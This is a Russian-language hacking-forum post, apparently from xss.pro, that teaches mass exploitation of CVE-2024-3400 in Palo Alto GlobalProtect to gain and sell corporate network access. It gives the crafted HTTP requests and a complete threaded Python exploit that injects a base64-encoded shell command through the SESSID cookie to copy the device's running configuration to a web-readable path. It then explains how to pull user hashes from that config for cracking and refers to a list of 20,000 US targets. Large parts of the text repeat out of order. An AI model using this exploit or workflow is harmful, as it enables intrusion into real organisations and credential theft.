Автор: k0priz
Специально для: xss.pro
Вприцепе вот как то так.
Дальше предлагаю перейти к практической части, так как прям много теории дать не смогу, уязимость такого типа не шипко распростаранена.
Сейчас я расскажу четко про уязвимость, посмотрим на внтрянку и разеберем сам запрос. Потом уже расскажу как вы сможете массово добывать дсотупы.
Так вот, как же понять какой запрос отправляется и как все это работает, ну тут просто берем tamplate от nuclei
nuclei -t CVE-2024-3400.yaml -u x.x.x.x -no-httpx
-no-httpx делается чтобы увеличить скорость, и nuclei не тратит кучу времени для того чтобы проверить url
Ага, прогнали url и он уязвим
Создался какой то файл, а как и почему не понятно, вот наша задача понять как это получилось.
Теперь отправляемся к коду который я скинул выше, и видисам запрос:
Ну и начинаем разбирать, у нас три запроса:
Первый get
обычная проверка есть ли такой файл, тут мы на выходе получаем 404
Второй POST запрос
Тут мы с помощью не хитрых манипуляций создаем файл с рандомны названием, как понял я за счет ошибки самой системы.
Третий GET запрос
Просто обычная проверка на то, создался ли файл с помощью которой nuclei понимает уязвима ли машина, тут должен получиться статус код 403
Теперь знаю как работает в теории, переходим к воспроизведению. Нам понадобиться burpsuite куда без него, азы как им пользоваться и как подключать сертификат я не буду, куча материала и так есть на форуме, да и если ты лезешь в корпы и не знаешь как подключать burpsuite у меня к тебе много вопросов.
Так вот подключаем прокси в браузеру и перезодим на уязвимый сервер, при переходе увидим такую картину.
Цепляем в repeter запрос который выделен и повторяем, и немного его переделываем под это
Как мы видим вот наш 404 not found, далее повторяем второй запрос, для этого переходим в браузере под проксей бурпа по этому пути /ssl-vpn/hipreport.esp и тоже перекидываем под второй запрос.
Тадам!, вроде все прошло без ошибок, теперь повторяем первый запрос чтобы проверить создался ли файл.
Да все создалось, следовательно примерно так и работает механизм проверки этой уязвимости, за счет опять же обычной ошибки сервера и включенной телеметрии которую дорогие говно-админы забыли выключить.
Далее у нас есть два варианта развития событий, наша цель просто добраться до конфига, и далее выбираем путь.
Путь первый: создаем backdoor попадаем на сервер крадем сам конфиг разхэшиваем хэши от юзеров и бам, у нас есть доступ, этот вариант с вложениями так что нам нужен будет сервер на котором нам нужно будет открыть порт и metasploit framework, если кому все же интересно, то просто в msf пишете search CVE-2024-3400
Звучит сложно, а я знаю что вы любите попроще так что сразу покажу способ без вложений и с выхлопом больше)
Второй путь выглядит так: посылаем команду на сервер которая с помощью cp скопирует конфиг в директорию с которой мы можем ее скачать, но есть минус такой вариант не сможет скопировать конфиг со всех уязвимых серверов из-за настроек телеметрии да и даже я за почти полгода не смог до конца разобраться почему так)), для этого нам понадобиться просто эксплоит который я немного дописал.
Если разбирать суть эксплоита то все очень просто, в параметр куки мы заносим защифрованную команду через base64
Сама команда выглядит вот так:
Те кто хотябы недельку работали с линуксом должны понимать что мы берем конфиг и выводим его в web чтобы потом командой wget забрать его, все покажу.
Что нам понадобиться:
-- тэмплейт nuclei для того чтобы отсеивать уязвимые сервера
-- лист с ипами palo alto global protect
-- и сам эксплоит
Ну и по желанию вам лучше найти типа который сможет разхэшивать хэши, далее покажу зачем.
Так ну теперь берете код, и создаете файлик с любым названием и расширением .py, у меня это exploit.py, далее закидываете ипы в .txt и пишете команду для запуска, не забыв перед этим установить все расширения
python3 exploit.py -f 1.txt -t 10
через флаг -f указываете лист с ипами
через флаг -t указываете потоки
и все запускаете, ждете результатов, ничего сложного как я и говорил.
Вприцепе вот резльтат, с первых 20 ипов, так что я думаю каждый сможет вытащить свою первую корпу и потренироваться.
Далее просто и сухо расскажу как работать с конфигом, и куда смотреть, потому что я на этом говна неплохо поел и разхэшивал не то, на вашем месте я бы переименовывал и в расширение .xml так работать удобней.
Первое куда что вам нужно искать в конфиге, это <local-user-database> собственно это и есть юезры через которых вы можете зайти в корпоративную сеть.
Хэши в 90% случаях буду sha256crypt и изредко md5crypt, далле смотря на юезров вам нужно будет смотреть на параметр disable yes или no к сожалению в этом конфиге нету, но сам факт что вы с этим 100% столкнетесь если пишет на юезе что disable yes этот юезр выключен, ну думаю понятно что если disable no то юзер рабочий.
Так и ну 3, чтобы ВОЗМОЖНО найти домен корпы вы можете глянуть в </authentication-profile> тут не редко встречаеться домен корпы, но не всегда. Ну дуамаю теперь вы готовы к тому чтобы отправиться на самостоятельные тесты.
Ниже оставляю листы с ипами тут 20к palo alto global protect все USA чтобы повкуснее было, творите и изучайте, и самое главное не забывайте оставаться людьми, всем спасибо за прочтение и надеюсь вам понравилось, и вы также сможете познать этот прекрасный мир.
Файл
Eсли найдуться добрые люди которые помогут донатом буду вечно благодарен вот btc.
bc1q8qmxfke4g6xvarvtp3nwcr40vjwluk8kwdjd36
Специально для: xss.pro
Дисклеймер: Какой нахуй дисклеймер никто не будет использовать это в образовательных целях, так что всем уберечься от бутылки.
Вот и новая статься, так как относительно недавно я влился в тему корпоротивных доступов, то хочу поделиться одним из первых способов которым я смог начать их добывать, пользовался я им около полугода назад но даже сейчас вы сможете вытащить парочку досутпов чтобы хотябы понять как все это работает, может даже что то продать.
Будет два варианта, абсолютно без вложений просто немного пораскинув мознами ну и с небольшими вложениями. Объективно расскажу только про один, самый лучший.
Так вот CVE-2024-3400, сначала расскажу что вообще за язва и как она работает чтобы вы вынес ли хоть немного так нужной нам всем теории, так как я мог бы сократить эту статью до 100 символов и 2 скринов.
https://security.paloaltonetworks.com/CVE-2024-3400 собственно сама уязвимость, моежет глянуть на официальнос сайте.
CVE-2024-3400 PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect или же Произвольное создание файлов приводящее к уязвимости и инъекции команды ОС в GlobalProtect.
Собственно принцип работы данной уязвимости следующий:
Злоумышленник может отправить специально сформированные запросы в систему, что приведет к созданию или изменению файла, который содержит вредоносную команду. Это может дать атакующему доступ к чувствительным данным, выполнение произвольных команд на сервере или даже полный контроль над системой.
Это так сказать умным языком, если же визуализировать:
Так вот CVE-2024-3400, сначала расскажу что вообще за язва и как она работает чтобы вы вынес ли хоть немного так нужной нам всем теории, так как я мог бы сократить эту статью до 100 символов и 2 скринов.
https://security.paloaltonetworks.com/CVE-2024-3400 собственно сама уязвимость, моежет глянуть на официальнос сайте.
CVE-2024-3400 PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect или же Произвольное создание файлов приводящее к уязвимости и инъекции команды ОС в GlobalProtect.
Собственно принцип работы данной уязвимости следующий:
Злоумышленник может отправить специально сформированные запросы в систему, что приведет к созданию или изменению файла, который содержит вредоносную команду. Это может дать атакующему доступ к чувствительным данным, выполнение произвольных команд на сервере или даже полный контроль над системой.
Это так сказать умным языком, если же визуализировать:
Вприцепе вот как то так.
Дальше предлагаю перейти к практической части, так как прям много теории дать не смогу, уязимость такого типа не шипко распростаранена.
Сейчас я расскажу четко про уязвимость, посмотрим на внтрянку и разеберем сам запрос. Потом уже расскажу как вы сможете массово добывать дсотупы.
Так вот, как же понять какой запрос отправляется и как все это работает, ну тут просто берем tamplate от nuclei
nuclei -t CVE-2024-3400.yaml -u x.x.x.x -no-httpx
-no-httpx делается чтобы увеличить скорость, и nuclei не тратит кучу времени для того чтобы проверить url
Ага, прогнали url и он уязвим
Создался какой то файл, а как и почему не понятно, вот наша задача понять как это получилось.
Теперь отправляемся к коду который я скинул выше, и видисам запрос:
Ну и начинаем разбирать, у нас три запроса:
Первый get
GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 обычная проверка есть ли такой файл, тут мы на выходе получаем 404
Второй POST запрос
Код:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: {{Hostname}}
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
Content-Type: application/x-www-form-urlencoded
user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
Тут мы с помощью не хитрых манипуляций создаем файл с рандомны названием, как понял я за счет ошибки самой системы.
Третий GET запрос
GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1Host: {{Hostname}}Просто обычная проверка на то, создался ли файл с помощью которой nuclei понимает уязвима ли машина, тут должен получиться статус код 403
Теперь знаю как работает в теории, переходим к воспроизведению. Нам понадобиться burpsuite куда без него, азы как им пользоваться и как подключать сертификат я не буду, куча материала и так есть на форуме, да и если ты лезешь в корпы и не знаешь как подключать burpsuite у меня к тебе много вопросов.
Так вот подключаем прокси в браузеру и перезодим на уязвимый сервер, при переходе увидим такую картину.
Цепляем в repeter запрос который выделен и повторяем, и немного его переделываем под это
GET /global-protect/portal/images/{{randstr}}.txt
Как мы видим вот наш 404 not found, далее повторяем второй запрос, для этого переходим в браузере под проксей бурпа по этому пути /ssl-vpn/hipreport.esp и тоже перекидываем под второй запрос.
Тадам!, вроде все прошло без ошибок, теперь повторяем первый запрос чтобы проверить создался ли файл.
Да все создалось, следовательно примерно так и работает механизм проверки этой уязвимости, за счет опять же обычной ошибки сервера и включенной телеметрии которую дорогие говно-админы забыли выключить.
Далее у нас есть два варианта развития событий, наша цель просто добраться до конфига, и далее выбираем путь.
Путь первый: создаем backdoor попадаем на сервер крадем сам конфиг разхэшиваем хэши от юзеров и бам, у нас есть доступ, этот вариант с вложениями так что нам нужен будет сервер на котором нам нужно будет открыть порт и metasploit framework, если кому все же интересно, то просто в msf пишете search CVE-2024-3400
Звучит сложно, а я знаю что вы любите попроще так что сразу покажу способ без вложений и с выхлопом больше)
Второй путь выглядит так: посылаем команду на сервер которая с помощью cp скопирует конфиг в директорию с которой мы можем ее скачать, но есть минус такой вариант не сможет скопировать конфиг со всех уязвимых серверов из-за настроек телеметрии да и даже я за почти полгода не смог до конца разобраться почему так)), для этого нам понадобиться просто эксплоит который я немного дописал.
Python:
import argparse
import base64
import random
import requests
import string
import time
import urllib3
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
from rich.console import Console
from rich.style import Style
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
green = Style(color="green")
yellow = Style(color="yellow")
red = Style(color="red")
console = Console(highlight=False)
base_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Content-Type": "application/x-www-form-urlencoded",
}
console = Console()
target_queue = Queue()
def create_random_string(length):
characters = string.ascii_lowercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def send_request(url):
console.print(f"[yellow][-][/yellow] <{url}>")
try:
filename = create_random_string(10)
cmd = f"cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/portal/css/cert.main.css"
base64_cmd = base64.b64encode(cmd.encode()).decode().rstrip("=")
headers = {
**base_headers,
"Cookie": "SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}" + base64_cmd + "|base64${IFS}-d|bash${IFS}-i`",
}
resp = requests.post(url=f"{url}/ssl-vpn/hipreport.esp", headers=headers, verify=False, allow_redirects=False, timeout=10)
if resp.status_code == 200:
target_queue.put(f"{url}/global-protect/portal/css/cert.main.css\n")
else:
console.print(f"[red][!][/red] <{url}> {resp.status_code}")
except Exception as e:
console.print(f"[red][!][/red] <{url}> Exception: {str(e)}")
return False
def check_findings(url):
console.print(f"[yellow][-][/yellow] Checking {url}...")
try:
resp = requests.get(url=url, headers=base_headers, verify=False, allow_redirects=False, timeout=10)
if resp.status_code == 200:
console.print(f"[green][+][/green] Detected RCE: {url}")
target_queue.put(f"{url}\n")
# else:
# console.print(f"[red][!][/red] <{url}> {resp.status_code}")
except Exception as e:
# console.print(f"[red][!][/red] <{url}> Exception: {str(e)}")
return False
def flush_queue(q, q_name):
with open(f"{q_name}.log",'a') as f:
while q.qsize():
f.write(q.get())
def get_targets(filename):
with open(filename) as f:
targets = f.readlines()
return [t.strip() for t in targets]
def main():
parser = argparse.ArgumentParser(description="CVE-2024-3400 RCE check")
parser.add_argument("-f", "--file", type=str, help="target urls to check, eg: urls.txt", required=True)
parser.add_argument("-t", "--threads", type=int, default=100, help="threads to scan", required=False)
args = parser.parse_args()
targets = list(set([f"https://{t.replace('http://', '').replace('https://','').strip()}" for t in get_targets(args.file)]))
console.print(targets[:10])
console.print(f"[yellow][-][/yellow] Sending {len(targets)} requests...")
with ThreadPoolExecutor(max_workers=args.threads) as pool:
pool.map(send_request, targets)
console.print(f"[green][+][/green] Requests sent. Writing check file...")
flush_queue(target_queue, "maybe_rce")
targets = get_targets("maybe_rce.log")
MAX_RETRIES = 12
RETRY_INTERVAL = 300
retries = 0
while retries <= MAX_RETRIES:
flush_queue(target_queue, "confirmed_rce")
targets = list(set(targets) - set(get_targets("confirmed_rce.log")))
console.print(f"[yellow][-][/yellow] Polling {len(targets)}...")
with ThreadPoolExecutor(max_workers=args.threads) as pool:
pool.map(check_findings, targets)
console.print(f"[yellow][-][/yellow] Sleeping...")
time.sleep(RETRY_INTERVAL)
retries += 1
flush_queue(target_queue, "confirmed_rce")
if __name__ == "__main__":
main()
Если разбирать суть эксплоита то все очень просто, в параметр куки мы заносим защифрованную команду через base64
"Cookie": "SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}" + base64_cmd + "|base64${IFS}-d|bash${IFS}-i`",Сама команда выглядит вот так:
cmd = f"cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/portal/css/cert.main.css"Те кто хотябы недельку работали с линуксом должны понимать что мы берем конфиг и выводим его в web чтобы потом командой wget забрать его, все покажу.
Что нам понадобиться:
-- тэмплейт nuclei для того чтобы отсеивать уязвимые сервера
-- лист с ипами palo alto global protect
-- и сам эксплоит
Ну и по желанию вам лучше найти типа который сможет разхэшивать хэши, далее покажу зачем.
Так ну теперь берете код, и создаете файлик с любым названием и расширением .py, у меня это exploit.py, далее закидываете ипы в .txt и пишете команду для запуска, не забыв перед этим установить все расширения
python3 exploit.py -f 1.txt -t 10
через флаг -f указываете лист с ипами
через флаг -t указываете потоки
и все запускаете, ждете результатов, ничего сложного как я и говорил.
Вприцепе вот резльтат, с первых 20 ипов, так что я думаю каждый сможет вытащить свою первую корпу и потренироваться.
Далее просто и сухо расскажу как работать с конфигом, и куда смотреть, потому что я на этом говна неплохо поел и разхэшивал не то, на вашем месте я бы переименовывал и в расширение .xml так работать удобней.
Первое куда что вам нужно искать в конфиге, это <local-user-database> собственно это и есть юезры через которых вы можете зайти в корпоративную сеть.
Хэши в 90% случаях буду sha256crypt и изредко md5crypt, далле смотря на юезров вам нужно будет смотреть на параметр disable yes или no к сожалению в этом конфиге нету, но сам факт что вы с этим 100% столкнетесь если пишет на юезе что disable yes этот юезр выключен, ну думаю понятно что если disable no то юзер рабочий.
Так и ну 3, чтобы ВОЗМОЖНО найти домен корпы вы можете глянуть в </authentication-profile> тут не редко встречаеться домен корпы, но не всегда. Ну дуамаю теперь вы готовы к тому чтобы отправиться на самостоятельные тесты.
Ниже оставляю листы с ипами тут 20к palo alto global protect все USA чтобы повкуснее было, творите и изучайте, и самое главное не забывайте оставаться людьми, всем спасибо за прочтение и надеюсь вам понравилось, и вы также сможете познать этот прекрасный мир.
Файл
Eсли найдуться добрые люди которые помогут донатом буду вечно благодарен вот btc.
bc1q8qmxfke4g6xvarvtp3nwcr40vjwluk8kwdjd36
Последнее редактирование модератором: